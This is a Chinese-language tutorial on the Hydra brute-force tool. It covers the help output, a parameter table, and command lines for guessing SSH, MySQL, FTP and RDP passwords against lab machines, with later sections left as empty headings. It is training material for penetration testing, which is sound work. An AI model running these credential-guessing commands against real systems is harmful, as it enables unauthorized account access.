

Hydra（海德拉）

概述

Hydra是一款由著名的黑客组织THC开发的开源暴力破解工具，支持大部分协议的在线密码破解。

目前该工具支持以下协议的爆破：

SSH、FTP、RDP、MYSQL、AFP、Cisco AAA、Cisco身份验证、Cisco启用、CVS、Firebird、HTTP-FORM-GET、HTTP-FORM-POST、HTTP-GET、HTTP-HEAD、HTTP-PROXY、HTTPS-FORM-GET、HTTPS-FORM-POST、HTTPS-GET、HTTPS-HEAD、HTTP-Proxy、ICQ、IMAP、IRC、LDAP、MS-SQL、NCP、NNTP、Oracle Listener、Oracle SID、Oracle、PC-Anywhere、PCNFS、POP3、POSTGRES、RDP、Rexec、Rlogin、Rsh、SAP / R3、SIP、SMB、SMTP、SMTP枚举、SNMP、SOCKS5、SSH、Subversion、Teamspeak (TS2)、Telnet、VMware-Auth、VNC和XMPP。对于 HTTP、POP3、IMAP和SMTP，支持几种登录机制，如普通和MD5摘要等。

是网络安全渗透测试必备的一款工具。

安装

Kali自带hydra

实验环境

攻击机：Kali

被攻击机1：OWASP_Broken_Web_Apps

被攻击机2：windows xp

参数详解

在Kali中输入hydra即可查看hydra -h的所有参数

```
root@kali: /usr/share/wordlists/dirb# hydra -h
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Syntax: hydra [[[-l LOGIN|-L FILE] [-p PASS|-P FILE]] | [-C FILE]] [-e nsr] [-o FILE] [-t TASKS] [-M FILE [-T TASKS]] [-w TIME] [-W TIME] [-f] [-s PORT] [-x MIN:MAX:CHARSET] [-c TIME] [-ISouVd46] [service://server[:PORT][/OPT]]

Options:
-R      restore a previous aborted/crashed session
-I      ignore an existing restore file (don't wait 10 seconds)
-S      perform an SSL connect
-s PORT if the service is on a different default port, define it here
-l LOGIN or -L FILE login with LOGIN name, or load several logins from FILE
-p PASS or -P FILE try password PASS, or load several passwords from FILE
-x MIN:MAX:CHARSET password bruteforce generation, type "-x -h" to get help
-y      disable use of symbols in bruteforce, see above
-e nsr   try "n" null password, "s" login as pass and/or "r" reversed login
-u      loop around users, not passwords (effective! implied with -x)
-C FILE  colon separated "login:pass" format, instead of -L/-P options
-M FILE  list of servers to attack, one entry per line, ':' to specify port
-o FILE  write found login/password pairs to FILE instead of stdout
-b FORMAT specify the format for the -o FILE: text(default), json, jsonv1
-f / -F  exit when a login/pass pair is found (-M: -f per host, -F global)
-t TASKS run TASKS number of connects in parallel per target (default: 16)
-T TASKS run TASKS connects in parallel overall (for -M, default: 64)
-w / -W TIME wait time for a response (32) / between connects per thread (0)
-c TIME  wait time per login attempt over all threads (enforces -t 1)
-4 / -6  use IPV4 (default) / IPV6 addresses (put always in []) also in -M)
-v / -V / -d verbose mode / show login+pass for each attempt / debug mode
-o       use old SSL v2 and v3
-q       do not print messages about connection errors
-U       service module usage details
-h       more command line options (COMPLETE HELP)

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server   the target: DNS, IP or 192.168.0.0/24 (this OR the -M option)
service  the service to crack (see below for supported protocols)
OPT      some service modules support additional input (-U for module help)

Supported services: adam6500 asterisk cisco cisco-enable cvs firebird ftp[s] http[s]-{head|get|post} http[s]-{get|post}-form http-p
roxy http-proxy-urlenum icq imap[s] irc ldap2[s] ldap3[-{cram|digest}md5][s] memcached mongodb mssql mysql nntp oracle-listener ora
cle-sid pcanynwhere pcnfs pop3[s] postgres radmin2 rdp redis rexec rlogin rpcap rsh rtsp s7-300 sip smb smtp[s] smtp-enum snmp socks
5 ssh sshkey svn teamspeak telnet[s] vmauthd vnc xmpp

Hydra is a tool to guess/crack valid login/password pairs. Licensed under AGPL
v3.0. The newest version is always available at https://github.com/vanhauser-thc/thc-hydra
Don't use in military or secret service organizations, or for illegal purposes.
These services were not compiled in: afp ncp oracle sapr3.

Use HYDRA_PROXY_HTTP or HYDRA_PROXY environment variables for a proxy setup.
E.g. % export HYDRA_PROXY=socks5://l:p@127.0.0.1:9150 (or: socks4:// connect://)
      % export HYDRA_PROXY=connect and socks_proxylist.txt (up to 64 entries)
      % export HYDRA_PROXY_HTTP=http://login:pass@proxy:8080
      % export HYDRA_PROXY_HTTP=proxylist.txt (up to 64 entries)

Examples:
hydra -l user -P passlist.txt ftp://192.168.0.1
hydra -L userlist.txt -p defaultpw imap://192.168.0.1/PLAIN
hydra -C defaults.txt -6 pop3s://[2001:db8::1]:143/TLS:DIGEST-MD5
hydra -l admin -p password ftp://[192.168.0.0/24]/
hydra -L logins.txt -P pws.txt -M targets.txt ssh
```

| 参数名 | 参数含义 |
|---------|---------------------------------|
| -l : | 指定破解的用户，对特定用户破解 |
| -L | 指定用户名字典 |
| -p | 小写，指定密码破解，少用，一般是采用密码字典 |
| -P | 大写，指定密码字典 |
| -R | 继续从上一次进度接着破解 |
| -S | 大写，采用SSL链接 |
| -s | 小写，可通过这个参数指定非默认端口 |
| -e | 可选选项，n：空密码试探，s：使用指定用户和密码试探 |
| -t | 同时运行的线程数，默认为16 |
| -C | 使用冒号分割格式，例如“登录名:密码”来代替 -L/-P 参数 |
| -M | 指定目标列表文件一行一条 |
| -o | 指定结果输出文件 |
| -f | 在使用-M参数以后，找到第一对登录名或者密码的时候中止破解 |
| -w | 设置最大超时的时间，单位秒，默认是30s |
| -v / -V | 显示详细过程 |
| server | 目标ip |
| service | 指定服务名，支持的服务和协议 |

使用方法

```
hydra -l user -P passlist.txt ftp://192.168.0.1
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```

破解SSH

基本用法

```
hydra -l root -p owaspbwa 192.168.0.129 ssh
hydra -l root -p owaspbwa ssh://192.168.0.129
```

从文件读入

```
hydra -l root -P /test/passw.txt 192.168.0.129 ssh
```

输出信息

```
hydra -l root -P /test/passw.txt 192.168.0.129 ssh -vV
```

用户名和密码都从文件读

```
hydra -L /test/user.txt -P /test/passw.txt 192.168.0.129 ssh -vV
```

恢复

```
hydra -R
```

保存输出结果

```
hydra -L /test/user.txt -P /test/passw.txt 192.168.0.129 ssh -vV -o ssh1.txt
```

加快速度 增加线程

```
hydra -L /test/user.txt -P /test/passw.txt 192.168.0.129 ssh -vV -o ssh1.txt -t 64
```

用户名和密码一起 中间用： 隔开

```
hydra -C /test/userpasswd.txt 192.168.0.129 ssh
```

破解多个ip地址

```
hydra -L logins.txt -P pws.txt -M targets.txt ssh
```

指定端口号

```
hydra -l root -p owaspbwa 192.168.0.129 ssh -s 22
```

mysql协议

```
hydra -L username.txt -P password.txt mysql://目标IP
```

其他协议ftp

```
hydra -l root -p owaspbwa 192.168.0.129 ftp
```

rdp 3389

```
hydra -l root -p owaspbwa 192.168.0.129 rdp
```

字典

Kali自带密码字典

暴力破解能成功最重要的条件还是要有一个强大的密码字典！Kali默认自带了一些字典，在 `/usr/share/wordlists` 目录下

自制字典

大字典

图形化工具

